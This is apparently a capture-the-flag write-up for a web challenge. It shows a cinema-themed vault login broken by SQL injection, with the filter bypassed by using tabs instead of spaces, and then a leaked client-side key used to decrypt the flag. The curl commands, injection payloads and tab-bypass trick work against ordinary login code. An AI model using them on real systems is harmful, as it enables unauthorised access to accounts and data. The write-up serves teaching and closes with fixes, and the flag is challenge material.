Secret Vault: Web
What the challenge was
A cinema-themed login at /login guarding a /vault. Unauthenticated visits to /vault redirected to /. Once opened, the vault listed secrets including an encrypted FLAG.txt and exposed a /decrypt endpoint plus a JavaScript constant holding an encoded key.
Initial recon
Normal credentials failed as expected:
ffcurl -s -X POST -d 'username=test&password=test' http://54.72.82.22:8090/login | grep -o "Invalid.*"Invalid credentialsA single quote changed the behaviour from a login failure to a database error:
ffcurl -s -X POST --data-urlencode "username=test'" --data-urlencode "password=test" http://54.72.82.22:8090/login | grep -o "Database error.*"Database error: near "test": syntax errorThe login used string-interpolated SQL. Classic comment payloads were refused:
ffcurl -s -X POST --data-urlencode "username=admin'-- -" --data-urlencode "password=x" http://54.72.82.22:8090/login | grep -o "Invalid.*\|could not be completed.*"That request could not be completed.The filter was then mapped: --, /*, space-surrounded OR, and || were blocked, while quotes themselves, #, and tab-separated tokens were not.
The path
Since -- was unavailable, comments were avoided entirely and operator precedence used instead. With a query shaped like WHERE username='<input>' AND password='<input>', injecting admin' OR '1'='1 makes the admin row match on its username alone. The filter blocked spaces around OR, but tabs passed:
ffcurl -s -X POST --data-urlencode "username=a OR b" --data-urlencode "password=test" http://54.72.82.22:8090/login | grep -o "Invalid.*\|could not be completed.*"Invalid credentialsThat established tab separation as the bypass. It was then used in the real injection:
ffcurl -i -s -X POST --data-urlencode "username=admin' OR '1'='1" --data-urlencode "password=test" http://54.72.82.22:8090/login | head -n 15HTTP/1.1 302 FOUND
Location: /vault
Set-Cookie: session=eyJsb2...xIn0...The server set a session and redirected to /vault. The redirect was followed with the session:
ffcurl -s -b session-cookie http://54.72.82.22:8090/vault | grep -o "FLAG.*\|TWGR.*\|vaultKey.*"secret-name">FLAG.txt
secret-content">TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw==
vaultKey = "VjR1bHRLM3kxMjM0NTY3OA==";Decoding the constant gave the vault key:
python3 -c "import base64; print(base64.b64decode('VjR1bHRLM3kxMjM0NTY3OA=='))"b'V4ultK3y12345678'The exploit
Authentication proceeds through the tab-separated SQL injection, after which the reserved secret is decrypted with the vault's own exposed key:
ffcurl -s -X POST --data-urlencode "username=admin' OR '1'='1" --data-urlencode "password=test" http://54.72.82.22:8090/login -c sessionffcurl -s -b session -X POST -H 'Content-Type: application/json' -d '{"data":"TWGRJLrOWBQ90+NUXN61zuwS0Z6GYJMXuhbmZvw8gCabwH8TtiNnpabEvQ6D5e1evbvOphrakDhrLAIo6q4Jjw==","key":"V4ultK3y12345678"}' http://54.72.82.22:8090/decryptResponse:
{"decrypted":"safctf{7877e854c9f06a8362af26ee280a6574}","success":true}The chain was SQL injection for authentication, followed by legitimate use of the vault decryptor with its own disclosed key.
The flag
safctf{7877e854c9f06a8362af26ee280a6574}Notes on method
The error message disclosed the injection, but the filter forced a second step. Testing each token separately showed the bypass was whitespace rather than syntax. Testing tabs and newlines immediately after a space-based rule fires is the efficient ordering. The fix is parameterized queries, an allowlist-based filter or none at all in favour of correct code, server-side session roles rather than reflected usernames, and keys kept out of client-side script.
